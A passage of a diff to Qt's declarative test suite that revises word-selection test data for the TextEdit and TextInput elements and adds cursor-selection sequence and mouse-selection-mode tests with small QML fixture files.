                 << standard[2] << 5 << 13 << QDeclarativeTextEdit::SelectWords << 5 << 13 << true;
    -    QTest::newRow("world(!)|words")
    +    QTest::newRow("world<(!)>|words")
                 << standard[2] << 12 << 13 << QDeclarativeTextEdit::SelectWords << 12 << 13 << true;
    -    QTest::newRow("world!())|words")
    +    QTest::newRow("world!<()>)|words")
                 << standard[2] << 13 << 13 << QDeclarativeTextEdit::SelectWords << 13 << 13 << true;
    -    QTest::newRow("world()!)|words")
    +    QTest::newRow("world<()>!)|words")
                 << standard[2] << 12 << 12 << QDeclarativeTextEdit::SelectWords << 12 << 12 << true;
     
    -    QTest::newRow("(,)olleH |words")
    +    QTest::newRow("<(,)>olleH |words")
                 << standard[3] << 7 << 8 << QDeclarativeTextEdit::SelectWords << 7 << 8 << true;
    -    QTest::newRow("( ,)olleH|words")
    -            << standard[3] << 6 << 8 << QDeclarativeTextEdit::SelectWords << 7 << 8 << true;
    -    QTest::newRow("( ,ol)leH|words")
    -            << standard[3] << 6 << 10 << QDeclarativeTextEdit::SelectWords << 7 << 13 << true;
    -    QTest::newRow(",(ol)leH,|words")
    +    QTest::newRow("olleH|words")
    +            << standard[3] << 6 << 8 << QDeclarativeTextEdit::SelectWords << 1 << 8 << false;
    +    QTest::newRow("dlrow<( ,)>olleH|words,reversed")
    +            << standard[3] << 8 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 8 << false;
    +    QTest::newRow("|words")
    +            << standard[3] << 6 << 10 << QDeclarativeTextEdit::SelectWords << 1 << 13 << false;
    +    QTest::newRow("dlrow<( ,ol)leH>|words,reversed")
    +            << standard[3] << 10 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 13 << false;
    +    QTest::newRow(",<(ol)leH>,|words")
                 << standard[3] << 8 << 10 << QDeclarativeTextEdit::SelectWords << 8 << 13 << true;
    -    QTest::newRow(",()olleH|words")
    +    QTest::newRow(",<()>olleH|words")
                 << standard[3] << 8 << 8 << QDeclarativeTextEdit::SelectWords << 8 << 8 << true;
    -    QTest::newRow("(),olleH|words")
    +    QTest::newRow("<()>,olleH|words")
                 << standard[3] << 7 << 7 << QDeclarativeTextEdit::SelectWords << 7 << 7 << true;
    -    QTest::newRow("( ),olleH|words")
    -            << standard[3] << 6 << 7 << QDeclarativeTextEdit::SelectWords << 7 << 7 << false;
    -    QTest::newRow("( ),olleH|words,reversed")
    -            << standard[3] << 7 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 6 << false;
    -    QTest::newRow("(dlrow ),olleH|words")
    -            << standard[3] << 1 << 7 << QDeclarativeTextEdit::SelectWords << 1 << 6 << true;
    -    QTest::newRow("(!dlrow ),olleH|words")
    -            << standard[3] << 0 << 7 << QDeclarativeTextEdit::SelectWords << 0 << 6 << true;
    +    QTest::newRow(",olleH|words")
    +            << standard[3] << 6 << 7 << QDeclarativeTextEdit::SelectWords << 1 << 7 << false;
    +    QTest::newRow("dlrow<( ),>olleH|words,reversed")
    +            << standard[3] << 7 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 8 << false;
    +    QTest::newRow("<(dlrow )>,olleH|words")
    +            << standard[3] << 1 << 7 << QDeclarativeTextEdit::SelectWords << 1 << 7 << false;
    +    QTest::newRow("<(dlrow ),>olleH|words,reversed")
    +            << standard[3] << 7 << 1 << QDeclarativeTextEdit::SelectWords << 1 << 8 << false;
    +    QTest::newRow("<(!dlrow )>,olleH|words")
    +            << standard[3] << 0 << 7 << QDeclarativeTextEdit::SelectWords << 0 << 7 << false;
    +    QTest::newRow("<(!dlrow ),>olleH|words,reversed")
    +            << standard[3] << 7 << 0 << QDeclarativeTextEdit::SelectWords << 0 << 8 << false;
         QTest::newRow("(!dlrow ,)olleH|words")
                 << standard[3] << 0 << 8 << QDeclarativeTextEdit::SelectWords << 0 << 8 << true;
    -    QTest::newRow("(!)dlrow|words")
    +    QTest::newRow("<(!)>dlrow|words")
                 << standard[3] << 0 << 1 << QDeclarativeTextEdit::SelectWords << 0 << 1 << true;
    -    QTest::newRow("()!dlrow|words")
    +    QTest::newRow("<()>!dlrow|words")
                 << standard[3] << 0 << 0 << QDeclarativeTextEdit::SelectWords << 0 << 0 << true;
    -    QTest::newRow("!()dlrow|words")
    +    QTest::newRow("!<()>dlrow|words")
                 << standard[3] << 1 << 1 << QDeclarativeTextEdit::SelectWords << 1 << 1 << true;
     }
     
    @@ -893,6 +919,7 @@ void tst_qdeclarativetextedit::moveCursorSelection()
         texteditObject->setCursorPosition(cursorPosition);
         texteditObject->moveCursorSelection(movePosition, mode);
     
    +    QCOMPARE(texteditObject->selectedText(), testStr.mid(selectionStart, selectionEnd - selectionStart));
         QCOMPARE(texteditObject->selectionStart(), selectionStart);
         QCOMPARE(texteditObject->selectionEnd(), selectionEnd);
     
    @@ -900,11 +927,168 @@ void tst_qdeclarativetextedit::moveCursorSelection()
             texteditObject->setCursorPosition(movePosition);
             texteditObject->moveCursorSelection(cursorPosition, mode);
     
    +        QCOMPARE(texteditObject->selectedText(), testStr.mid(selectionStart, selectionEnd - selectionStart));
             QCOMPARE(texteditObject->selectionStart(), selectionStart);
             QCOMPARE(texteditObject->selectionEnd(), selectionEnd);
         }
     }
     
    +void tst_qdeclarativetextedit::moveCursorSelectionSequence_data()
    +{
    +    QTest::addColumn("testStr");
    +    QTest::addColumn("cursorPosition");
    +    QTest::addColumn("movePosition1");
    +    QTest::addColumn("movePosition2");
    +    QTest::addColumn("selection1Start");
    +    QTest::addColumn("selection1End");
    +    QTest::addColumn("selection2Start");
    +    QTest::addColumn("selection2End");
    +
    +    QTest::newRow("the { f^ox} jumped|ltr")
    +            << standard[0]
    +            << 9 << 13 << 17
    +            << 4 << 15
    +            << 4 << 19;
    +    QTest::newRow("the quick<( {bro)wn> f^ox} jumped|rtl")
    +            << standard[0]
    +            << 13 << 9 << 17
    +            << 9 << 15
    +            << 10 << 19;
    +    QTest::newRow("the { ^}fox jumped|ltr")
    +            << standard[0]
    +            << 9 << 13 << 16
    +            << 4 << 15
    +            << 4 << 16;
    +    QTest::newRow("the quick<( {bro)wn> ^}fox jumped|rtl")
    +            << standard[0]
    +            << 13 << 9 << 16
    +            << 9 << 15
    +            << 10 << 16;
    +    QTest::newRow("the {} fox jumped|ltr")
    +            << standard[0]
    +            << 9 << 13 << 15
    +            << 4 << 15
    +            << 4 << 15;
    +    QTest::newRow("the quick<( {bro)wn^>} f^ox jumped|rtl")
    +            << standard[0]
    +            << 13 << 9 << 15
    +            << 9 << 15
    +            << 10 << 15;
    +    QTest::newRow("the { fox|ltr")
    +            << standard[0]
    +            << 9 << 13 << 10
    +            << 4 << 15
    +            << 4 << 10;
    +    QTest::newRow("the quick<(^ {^bro)wn>} fox|rtl")
    +            << standard[0]
    +            << 13 << 9 << 10
    +            << 9 << 15
    +            << 10 << 15;
    +    QTest::newRow("the { fox|ltr")
    +            << standard[0]
    +            << 9 << 13 << 9
    +            << 4 << 15
    +            << 4 << 9;
    +    QTest::newRow("the quick{<(^ bro)wn>} fox|rtl")
    +            << standard[0]
    +            << 13 << 9 << 9
    +            << 9 << 15
    +            << 9 << 15;
    +    QTest::newRow("the { fox|ltr")
    +            << standard[0]
    +            << 9 << 13 << 7
    +            << 4 << 15
    +            << 4 << 9;
    +    QTest::newRow("the { fox|rtl")
    +            << standard[0]
    +            << 13 << 9 << 7
    +            << 9 << 15
    +            << 4 << 15;
    +    QTest::newRow("the {<^quick}( bro)wn> fox|ltr")
    +            << standard[0]
    +            << 9 << 13 << 4
    +            << 4 << 15
    +            << 4 << 9;
    +    QTest::newRow("the {<^quick}( bro)wn> fox|rtl")
    +            << standard[0]
    +            << 13 << 9 << 4
    +            << 9 << 15
    +            << 4 << 15;
    +    QTest::newRow("the{^  fox|ltr")
    +            << standard[0]
    +            << 9 << 13 << 3
    +            << 4 << 15
    +            << 3 << 9;
    +    QTest::newRow("the{^  fox|rtl")
    +            << standard[0]
    +            << 13 << 9 << 3
    +            << 9 << 15
    +            << 3 << 15;
    +    QTest::newRow("{t^he  fox|ltr")
    +            << standard[0]
    +            << 9 << 13 << 1
    +            << 4 << 15
    +            << 0 << 9;
    +    QTest::newRow("{t^he  fox|rtl")
    +            << standard[0]
    +            << 13 << 9 << 1
    +            << 9 << 15
    +            << 0 << 15;
    +
    +    QTest::newRow("{, w^orld}!|ltr")
    +            << standard[2]
    +            << 2 << 4 << 8
    +            << 0 << 5
    +            << 0 << 12;
    +    QTest::newRow("{, w^orld}!|rtl")
    +            << standard[2]
    +            << 4 << 2 << 8
    +            << 0 << 5
    +            << 0 << 12;
    +
    +    QTest::newRow("!{dlro^w ,}|ltr")
    +            << standard[3]
    +            << 9 << 11 << 5
    +            << 8 << 13
    +            << 1 << 13;
    +    QTest::newRow("!{dlro^w ,}|rtl")
    +            << standard[3]
    +            << 11 << 9 << 5
    +            << 8 << 13
    +            << 1 << 13;
    +}
    +
    +void tst_qdeclarativetextedit::moveCursorSelectionSequence()
    +{
    +    QFETCH(QString, testStr);
    +    QFETCH(int, cursorPosition);
    +    QFETCH(int, movePosition1);
    +    QFETCH(int, movePosition2);
    +    QFETCH(int, selection1Start);
    +    QFETCH(int, selection1End);
    +    QFETCH(int, selection2Start);
    +    QFETCH(int, selection2End);
    +
    +    QString componentStr = "import QtQuick 1.1\nTextEdit {  text: \""+ testStr +"\"; }";
    +    QDeclarativeComponent texteditComponent(&engine);
    +    texteditComponent.setData(componentStr.toLatin1(), QUrl());
    +    QDeclarativeTextEdit *texteditObject = qobject_cast(texteditComponent.create());
    +    QVERIFY(texteditObject != 0);
    +
    +    texteditObject->setCursorPosition(cursorPosition);
    +
    +    texteditObject->moveCursorSelection(movePosition1, QDeclarativeTextEdit::SelectWords);
    +    QCOMPARE(texteditObject->selectedText(), testStr.mid(selection1Start, selection1End - selection1Start));
    +    QCOMPARE(texteditObject->selectionStart(), selection1Start);
    +    QCOMPARE(texteditObject->selectionEnd(), selection1End);
    +
    +    texteditObject->moveCursorSelection(movePosition2, QDeclarativeTextEdit::SelectWords);
    +    QCOMPARE(texteditObject->selectedText(), testStr.mid(selection2Start, selection2End - selection2Start));
    +    QCOMPARE(texteditObject->selectionStart(), selection2Start);
    +    QCOMPARE(texteditObject->selectionEnd(), selection2End);
    +}
    +
    +
     void tst_qdeclarativetextedit::mouseSelection_data()
     {
         QTest::addColumn("qmlfile");
    @@ -995,6 +1179,55 @@ void tst_qdeclarativetextedit::dragMouseSelection()
         QVERIFY(str1 != str2); // Verify the second press and drag is a new selection and doesn't not the first moved.
     }
     
    +void tst_qdeclarativetextedit::mouseSelectionMode_data()
    +{
    +    QTest::addColumn("qmlfile");
    +    QTest::addColumn("selectWords");
    +
    +    // import installed
    +    QTest::newRow("SelectWords") << SRCDIR "/data/mouseselectionmode_words.qml" << true;
    +    QTest::newRow("SelectCharacters") << SRCDIR "/data/mouseselectionmode_characters.qml" << false;
    +    QTest::newRow("default") << SRCDIR "/data/mouseselectionmode_default.qml" << false;
    +}
    +
    +void tst_qdeclarativetextedit::mouseSelectionMode()
    +{
    +    QFETCH(QString, qmlfile);
    +    QFETCH(bool, selectWords);
    +
    +    QString text = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    +
    +    QDeclarativeView *canvas = createView(qmlfile);
    +
    +    canvas->show();
    +    QApplication::setActiveWindow(canvas);
    +    QTest::qWaitForWindowShown(canvas);
    +    QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas));
    +
    +    QVERIFY(canvas->rootObject() != 0);
    +    QDeclarativeTextEdit *textEditObject = qobject_cast(canvas->rootObject());
    +    QVERIFY(textEditObject != 0);
    +
    +    // press-and-drag-and-release from x1 to x2
    +    int x1 = 10;
    +    int x2 = 70;
    +    int y = textEditObject->height()/2;
    +    QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y)));
    +    //QTest::mouseMove(canvas->viewport(), canvas->mapFromScene(QPoint(x2,y))); // doesn't work
    +    QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
    +    QApplication::sendEvent(canvas->viewport(), &mv);
    +    QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y)));
    +    QString str = textEditObject->selectedText();
    +    if (selectWords) {
    +        QCOMPARE(str, text);
    +    } else {
    +        QVERIFY(str.length() > 3);
    +        QVERIFY(str != text);
    +    }
    +
    +    delete canvas;
    +}
    +
     void tst_qdeclarativetextedit::inputMethodHints()
     {
         QDeclarativeView *canvas = createView(SRCDIR "/data/inputmethodhints.qml");
    diff --git a/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_characters.qml b/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_characters.qml
    new file mode 100644
    index 0000000..0ffc6ff
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_characters.qml
    @@ -0,0 +1,8 @@
    +import QtQuick 1.1
    +
    +TextInput {
    +    focus: true
    +    text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    +    selectByMouse: true
    +    mouseSelectionMode: TextInput.SelectCharacters
    +}
    diff --git a/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_default.qml b/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_default.qml
    new file mode 100644
    index 0000000..87c174b
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_default.qml
    @@ -0,0 +1,7 @@
    +import QtQuick 1.1
    +
    +TextInput {
    +    focus: true
    +    text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    +    selectByMouse: true
    +}
    diff --git a/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_words.qml b/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_words.qml
    new file mode 100644
    index 0000000..df69a7d
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_words.qml
    @@ -0,0 +1,8 @@
    +import QtQuick 1.1
    +
    +TextInput {
    +    focus: true
    +    text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    +    selectByMouse: true
    +    mouseSelectionMode: TextInput.SelectWords
    +}
    diff --git a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp
    index 7cdec27..675367c 100644
    --- a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp
    +++ b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp
    @@ -91,7 +91,11 @@ private slots:
         void selection();
         void moveCursorSelection_data();
         void moveCursorSelection();
    +    void moveCursorSelectionSequence_data();
    +    void moveCursorSelectionSequence();
         void dragMouseSelection();
    +    void mouseSelectionMode_data();
    +    void mouseSelectionMode();
     
         void horizontalAlignment_data();
         void horizontalAlignment();
    @@ -462,91 +466,115 @@ void tst_qdeclarativetextinput::moveCursorSelection_data()
         QTest::newRow("jum()ped|characters")
                 << standard[0] << 23 << 23 << QDeclarativeTextInput::SelectCharacters << 23 << 23 << true;
     
    -    QTest::newRow("(t)he|words")
    +    QTest::newRow("<(t)he>|words")
                 << standard[0] << 0 << 1 << QDeclarativeTextInput::SelectWords << 0 << 3 << true;
    -    QTest::newRow("do(g)|words")
    +    QTest::newRow("|words")
                 << standard[0] << 43 << 44 << QDeclarativeTextInput::SelectWords << 41 << 44 << true;
    -    QTest::newRow("jum(p)ed|words")
    +    QTest::newRow("|words")
                 << standard[0] << 23 << 24 << QDeclarativeTextInput::SelectWords << 20 << 26 << true;
    -    QTest::newRow("jumped( )over|words")
    -            << standard[0] << 26 << 27 << QDeclarativeTextInput::SelectWords << 27 << 27 << false;
    -    QTest::newRow("jumped( )over|words,reversed")
    -            << standard[0] << 27 << 26 << QDeclarativeTextInput::SelectWords << 26 << 26 << false;
    -    QTest::newRow("(the )|words")
    -            << standard[0] << 0 << 4 << QDeclarativeTextInput::SelectWords << 0 << 3 << true;
    -    QTest::newRow("( dog)|words")
    -            << standard[0] << 40 << 44 << QDeclarativeTextInput::SelectWords << 41 << 44 << true;
    -    QTest::newRow("( jumped )|words")
    -            << standard[0] << 19 << 27 << QDeclarativeTextInput::SelectWords << 20 << 26 << true;
    -    QTest::newRow("th(e qu)ick|words")
    +    QTest::newRow("over|words,ltr")
    +            << standard[0] << 26 << 27 << QDeclarativeTextInput::SelectWords << 20 << 27 << false;
    +    QTest::newRow("jumped<( )over>|words,rtl")
    +            << standard[0] << 27 << 26 << QDeclarativeTextInput::SelectWords << 26 << 31 << false;
    +    QTest::newRow("<(the )>quick|words,ltr")
    +            << standard[0] << 0 << 4 << QDeclarativeTextInput::SelectWords << 0 << 4 << false;
    +    QTest::newRow("<(the )quick>|words,rtl")
    +            << standard[0] << 4 << 0 << QDeclarativeTextInput::SelectWords << 0 << 9 << false;
    +    QTest::newRow("|words,ltr")
    +            << standard[0] << 40 << 44 << QDeclarativeTextInput::SelectWords << 36 << 44 << false;
    +    QTest::newRow("lazy<( dog)>|words,rtl")
    +            << standard[0] << 44 << 40 << QDeclarativeTextInput::SelectWords << 40 << 44 << false;
    +    QTest::newRow("over|words,ltr")
    +            << standard[0] << 19 << 27 << QDeclarativeTextInput::SelectWords << 16 << 27 << false;
    +    QTest::newRow("fox<( jumped )over>|words,rtl")
    +            << standard[0] << 27 << 19 << QDeclarativeTextInput::SelectWords << 19 << 31 << false;
    +    QTest::newRow("|words")
                 << standard[0] << 2 << 6 << QDeclarativeTextInput::SelectWords << 0 << 9 << true;
    -    QTest::newRow("la(zy d)og|words")
    +    QTest::newRow("")
                 << standard[0] << 38 << 42 << QDeclarativeTextInput::SelectWords << 36 << 44 << true;
    -    QTest::newRow("jum(ped ov)er|words")
    +    QTest::newRow("|words")
                 << standard[0] << 23 << 29 << QDeclarativeTextInput::SelectWords << 20 << 31 << true;
    -    QTest::newRow("()the|words")
    +    QTest::newRow("<()>the|words")
                 << standard[0] << 0 << 0 << QDeclarativeTextInput::SelectWords << 0 << 0 << true;
    -    QTest::newRow("dog()|words")
    +    QTest::newRow("dog<()>|words")
                 << standard[0] << 44 << 44 << QDeclarativeTextInput::SelectWords << 44 << 44 << true;
    -    QTest::newRow("jum()ped|words")
    +    QTest::newRow("jum<()>ped|words")
                 << standard[0] << 23 << 23 << QDeclarativeTextInput::SelectWords << 23 << 23 << true;
     
    -    QTest::newRow("Hello(,) |words")
    +    QTest::newRow("Hello<(,)> |words")
                 << standard[2] << 5 << 6 << QDeclarativeTextInput::SelectWords << 5 << 6 << true;
    -    QTest::newRow("Hello(, )|words")
    -            << standard[2] << 5 << 7 << QDeclarativeTextInput::SelectWords << 5 << 6 << true;
    -    QTest::newRow("Hel(lo, )|words")
    -            << standard[2] << 3 << 7 << QDeclarativeTextInput::SelectWords << 0 << 6 << true;
    -    QTest::newRow("Hel(lo),|words")
    +    QTest::newRow("Hello<(, )>world|words,ltr")
    +            << standard[2] << 5 << 7 << QDeclarativeTextInput::SelectWords << 5 << 7 << false;
    +    QTest::newRow("Hello<(, )world>|words,rtl")
    +            << standard[2] << 7 << 5 << QDeclarativeTextInput::SelectWords << 5 << 12 << false;
    +    QTest::newRow("world|words,ltr")
    +            << standard[2] << 3 << 7 << QDeclarativeTextInput::SelectWords << 0 << 7 << false;
    +    QTest::newRow("|words,rtl")
    +            << standard[2] << 7 << 3 << QDeclarativeTextInput::SelectWords << 0 << 12 << false;
    +    QTest::newRow(",|words")
                 << standard[2] << 3 << 5 << QDeclarativeTextInput::SelectWords << 0 << 5 << true;
    -    QTest::newRow("Hello(),|words")
    +    QTest::newRow("Hello<()>,|words")
                 << standard[2] << 5 << 5 << QDeclarativeTextInput::SelectWords << 5 << 5 << true;
    -    QTest::newRow("Hello,()|words")
    +    QTest::newRow("Hello,<()>|words")
                 << standard[2] << 6 << 6 << QDeclarativeTextInput::SelectWords << 6 << 6 << true;
    -    QTest::newRow("Hello,( )|words")
    -            << standard[2] << 6 << 7 << QDeclarativeTextInput::SelectWords << 7 << 7 << false;
    -    QTest::newRow("Hello,( )|words,reversed")
    -            << standard[2] << 7 << 6 << QDeclarativeTextInput::SelectWords << 6 << 6 << false;
    -    QTest::newRow("Hello,( world)|words")
    -            << standard[2] << 6 << 12 << QDeclarativeTextInput::SelectWords << 7 << 12 << true;
    -    QTest::newRow("Hello,( world!)|words")
    -            << standard[2] << 6 << 13 << QDeclarativeTextInput::SelectWords << 7 << 13 << true;
    -    QTest::newRow("Hello(, world!)|words")
    +    QTest::newRow("Hello<,( )>world|words,ltr")
    +            << standard[2] << 6 << 7 << QDeclarativeTextInput::SelectWords << 5 << 7 << false;
    +    QTest::newRow("Hello,<( )world>|words,rtl")
    +            << standard[2] << 7 << 6 << QDeclarativeTextInput::SelectWords << 6 << 12 << false;
    +    QTest::newRow("Hello<,( world)>|words,ltr")
    +            << standard[2] << 6 << 12 << QDeclarativeTextInput::SelectWords << 5 << 12 << false;
    +    QTest::newRow("Hello,<( world)>|words,rtl")
    +            << standard[2] << 12 << 6 << QDeclarativeTextInput::SelectWords << 6 << 12 << false;
    +    QTest::newRow("Hello<,( world!)>|words,ltr")
    +            << standard[2] << 6 << 13 << QDeclarativeTextInput::SelectWords << 5 << 13 << false;
    +    QTest::newRow("Hello,<( world!)>|words,rtl")
    +            << standard[2] << 13 << 6 << QDeclarativeTextInput::SelectWords << 6 << 13 << false;
    +    QTest::newRow("Hello<(, world!)>|words")
                 << standard[2] << 5 << 13 << QDeclarativeTextInput::SelectWords << 5 << 13 << true;
    -    QTest::newRow("world(!)|words")
    -            << standard[2] << 12 << 13 << QDeclarativeTextInput::SelectWords << 12 << 13 << true;
    -    QTest::newRow("world!())|words")
    +    // Fails due to an issue with QTextBoundaryFinder and punctuation at the end of strings.
    +    // QTBUG-11365
    +    // QTest::newRow("world<(!)>|words")
    +    //         << standard[2] << 12 << 13 << QDeclarativeTextInput::SelectWords << 12 << 13 << true;
    +    QTest::newRow("world!<()>)|words")
                 << standard[2] << 13 << 13 << QDeclarativeTextInput::SelectWords << 13 << 13 << true;
    -    QTest::newRow("world()!)|words")
    +    QTest::newRow("world<()>!)|words")
                 << standard[2] << 12 << 12 << QDeclarativeTextInput::SelectWords << 12 << 12 << true;
     
    -    QTest::newRow("(,)olleH |words")
    +    QTest::newRow("<(,)>olleH |words")
                 << standard[3] << 7 << 8 << QDeclarativeTextInput::SelectWords << 7 << 8 << true;
    -    QTest::newRow("( ,)olleH|words")
    -            << standard[3] << 6 << 8 << QDeclarativeTextInput::SelectWords << 7 << 8 << true;
    -    QTest::newRow("( ,ol)leH|words")
    -            << standard[3] << 6 << 10 << QDeclarativeTextInput::SelectWords << 7 << 13 << true;
    -    QTest::newRow(",(ol)leH,|words")
    +    QTest::newRow("olleH|words,ltr")
    +            << standard[3] << 6 << 8 << QDeclarativeTextInput::SelectWords << 1 << 8 << false;
    +    QTest::newRow("dlrow<( ,)>olleH|words,rtl")
    +            << standard[3] << 8 << 6 << QDeclarativeTextInput::SelectWords << 6 << 8 << false;
    +    QTest::newRow("|words,ltr")
    +            << standard[3] << 6 << 10 << QDeclarativeTextInput::SelectWords << 1 << 13 << false;
    +    QTest::newRow("dlrow<( ,ol)leH>|words,rtl")
    +            << standard[3] << 10 << 6 << QDeclarativeTextInput::SelectWords << 6 << 13 << false;
    +    QTest::newRow(",<(ol)leH>,|words")
                 << standard[3] << 8 << 10 << QDeclarativeTextInput::SelectWords << 8 << 13 << true;
    -    QTest::newRow(",()olleH|words")
    +    QTest::newRow(",<()>olleH|words")
                 << standard[3] << 8 << 8 << QDeclarativeTextInput::SelectWords << 8 << 8 << true;
    -    QTest::newRow("(),olleH|words")
    +    QTest::newRow("<()>,olleH|words")
                 << standard[3] << 7 << 7 << QDeclarativeTextInput::SelectWords << 7 << 7 << true;
    -    QTest::newRow("( ),olleH|words")
    -            << standard[3] << 6 << 7 << QDeclarativeTextInput::SelectWords << 7 << 7 << false;
    -    QTest::newRow("( ),olleH|words,reversed")
    -            << standard[3] << 7 << 6 << QDeclarativeTextInput::SelectWords << 6 << 6 << false;
    -    QTest::newRow("(dlrow ),olleH|words")
    -            << standard[3] << 1 << 7 << QDeclarativeTextInput::SelectWords << 1 << 6 << true;
    -    QTest::newRow("(!dlrow ),olleH|words")
    -            << standard[3] << 0 << 7 << QDeclarativeTextInput::SelectWords << 0 << 6 << true;
    +    QTest::newRow(",olleH|words,ltr")
    +            << standard[3] << 6 << 7 << QDeclarativeTextInput::SelectWords << 1 << 7 << false;
    +    QTest::newRow("dlrow<( ),>olleH|words,rtl")
    +            << standard[3] << 7 << 6 << QDeclarativeTextInput::SelectWords << 6 << 8 << false;
    +    QTest::newRow("<(dlrow )>,olleH|words,ltr")
    +            << standard[3] << 1 << 7 << QDeclarativeTextInput::SelectWords << 1 << 7 << false;
    +    QTest::newRow("<(dlrow ),>olleH|words,rtl")
    +            << standard[3] << 7 << 1 << QDeclarativeTextInput::SelectWords << 1 << 8 << false;
    +    QTest::newRow("<(!dlrow )>,olleH|words,ltr")
    +            << standard[3] << 0 << 7 << QDeclarativeTextInput::SelectWords << 0 << 7 << false;
    +    QTest::newRow("<(!dlrow ),>olleH|words,rtl")
    +            << standard[3] << 7 << 0 << QDeclarativeTextInput::SelectWords << 0 << 8 << false;
         QTest::newRow("(!dlrow ,)olleH|words")
                 << standard[3] << 0 << 8 << QDeclarativeTextInput::SelectWords << 0 << 8 << true;
    -    QTest::newRow("(!)dlrow|words")
    +    QTest::newRow("<(!)>dlrow|words")
                 << standard[3] << 0 << 1 << QDeclarativeTextInput::SelectWords << 0 << 1 << true;
    -    QTest::newRow("()!dlrow|words")
    +    QTest::newRow("<()>!dlrow|words")
                 << standard[3] << 0 << 0 << QDeclarativeTextInput::SelectWords << 0 << 0 << true;
    -    QTest::newRow("!()dlrow|words")
    +    QTest::newRow("!<()>dlrow|words")
                 << standard[3] << 1 << 1 << QDeclarativeTextInput::SelectWords << 1 << 1 << true;
     }
     
    @@ -569,6 +597,7 @@ void tst_qdeclarativetextinput::moveCursorSelection()
         textinputObject->setCursorPosition(cursorPosition);
         textinputObject->moveCursorSelection(movePosition, mode);
     
    +    QCOMPARE(textinputObject->selectedText(), testStr.mid(selectionStart, selectionEnd - selectionStart));
         QCOMPARE(textinputObject->selectionStart(), selectionStart);
         QCOMPARE(textinputObject->selectionEnd(), selectionEnd);
     
    @@ -576,11 +605,167 @@ void tst_qdeclarativetextinput::moveCursorSelection()
             textinputObject->setCursorPosition(movePosition);
             textinputObject->moveCursorSelection(cursorPosition, mode);
     
    +        QCOMPARE(textinputObject->selectedText(), testStr.mid(selectionStart, selectionEnd - selectionStart));
             QCOMPARE(textinputObject->selectionStart(), selectionStart);
             QCOMPARE(textinputObject->selectionEnd(), selectionEnd);
         }
     }
     
    +void tst_qdeclarativetextinput::moveCursorSelectionSequence_data()
    +{
    +    QTest::addColumn("testStr");
    +    QTest::addColumn("cursorPosition");
    +    QTest::addColumn("movePosition1");
    +    QTest::addColumn("movePosition2");
    +    QTest::addColumn("selection1Start");
    +    QTest::addColumn("selection1End");
    +    QTest::addColumn("selection2Start");
    +    QTest::addColumn("selection2End");
    +
    +    QTest::newRow("the { f^ox} jumped|ltr")
    +            << standard[0]
    +            << 9 << 13 << 17
    +            << 4 << 15
    +            << 4 << 19;
    +    QTest::newRow("the quick<( {bro)wn> f^ox} jumped|rtl")
    +            << standard[0]
    +            << 13 << 9 << 17
    +            << 9 << 15
    +            << 10 << 19;
    +    QTest::newRow("the { ^}fox jumped|ltr")
    +            << standard[0]
    +            << 9 << 13 << 16
    +            << 4 << 15
    +            << 4 << 16;
    +    QTest::newRow("the quick<( {bro)wn> ^}fox jumped|rtl")
    +            << standard[0]
    +            << 13 << 9 << 16
    +            << 9 << 15
    +            << 10 << 16;
    +    QTest::newRow("the {} fox jumped|ltr")
    +            << standard[0]
    +            << 9 << 13 << 15
    +            << 4 << 15
    +            << 4 << 15;
    +    QTest::newRow("the quick<( {bro)wn^>} f^ox jumped|rtl")
    +            << standard[0]
    +            << 13 << 9 << 15
    +            << 9 << 15
    +            << 10 << 15;
    +    QTest::newRow("the { fox|ltr")
    +            << standard[0]
    +            << 9 << 13 << 10
    +            << 4 << 15
    +            << 4 << 10;
    +    QTest::newRow("the quick<( {^bro)wn>} fox|rtl")
    +            << standard[0]
    +            << 13 << 9 << 10
    +            << 9 << 15
    +            << 10 << 15;
    +    QTest::newRow("the { fox|ltr")
    +            << standard[0]
    +            << 9 << 13 << 9
    +            << 4 << 15
    +            << 4 << 9;
    +    QTest::newRow("the quick{<(^ bro)wn>} fox|rtl")
    +            << standard[0]
    +            << 13 << 9 << 9
    +            << 9 << 15
    +            << 9 << 15;
    +    QTest::newRow("the { fox|ltr")
    +            << standard[0]
    +            << 9 << 13 << 7
    +            << 4 << 15
    +            << 4 << 9;
    +    QTest::newRow("the { fox|rtl")
    +            << standard[0]
    +            << 13 << 9 << 7
    +            << 9 << 15
    +            << 4 << 15;
    +    QTest::newRow("the {<^quick}( bro)wn> fox|ltr")
    +            << standard[0]
    +            << 9 << 13 << 4
    +            << 4 << 15
    +            << 4 << 9;
    +    QTest::newRow("the {<^quick}( bro)wn> fox|rtl")
    +            << standard[0]
    +            << 13 << 9 << 4
    +            << 9 << 15
    +            << 4 << 15;
    +    QTest::newRow("the{^  fox|ltr")
    +            << standard[0]
    +            << 9 << 13 << 3
    +            << 4 << 15
    +            << 3 << 9;
    +    QTest::newRow("the{^  fox|rtl")
    +            << standard[0]
    +            << 13 << 9 << 3
